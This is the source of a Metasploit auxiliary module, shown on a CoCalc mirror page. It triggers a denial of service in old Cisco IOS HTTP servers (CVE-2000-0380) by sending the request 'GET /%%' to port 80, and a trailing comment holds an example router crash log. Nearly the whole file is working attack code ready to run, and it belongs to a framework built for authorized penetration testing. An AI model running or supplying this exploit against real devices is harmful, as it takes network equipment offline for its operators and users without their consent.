CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',
13
'Description' => %q{
14
This module triggers a Denial of Service condition in the Cisco IOS
15
HTTP server. By sending a GET request for "/%%", the device becomes
16
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
17
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
18
},
19
'Author' => [ 'aushack' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'BID', '1154'],
24
[ 'CVE', '2000-0380'],
25
[ 'OSVDB', '1302' ],
26
],
27
'DisclosureDate' => '2000-04-26'))
28
29
register_options(
30
[
31
Opt::RPORT(80),
32
])
33
34
end
35
36
def run
37
connect
38
39
print_status("Sending HTTP DoS packet")
40
41
sploit = "GET /%% HTTP/1.0"
42
sock.put(sploit + "\r\n")
43
44
disconnect
45
end
46
end
47
48
=begin
49
50
Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P
51
52
IOS info:
53
IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1)
54
Copyright (c) 1986-1999 by cisco Systems, Inc.
55
Compiled Mon 12-Apr-99 14:53 by ashah
56
57
Example crash:
58
59
%Software-forced reload
60
Preparing to dump core...
61
Router>
62
*Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server
63
-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E
64
Queued messages:
65
*** EXCEPTION ***
66
software forced crash
67
program counter = 0x80eaca6
68
status register = 0x2700
69
vbr at time of exception = 0x4000000
70
71
=end
72
73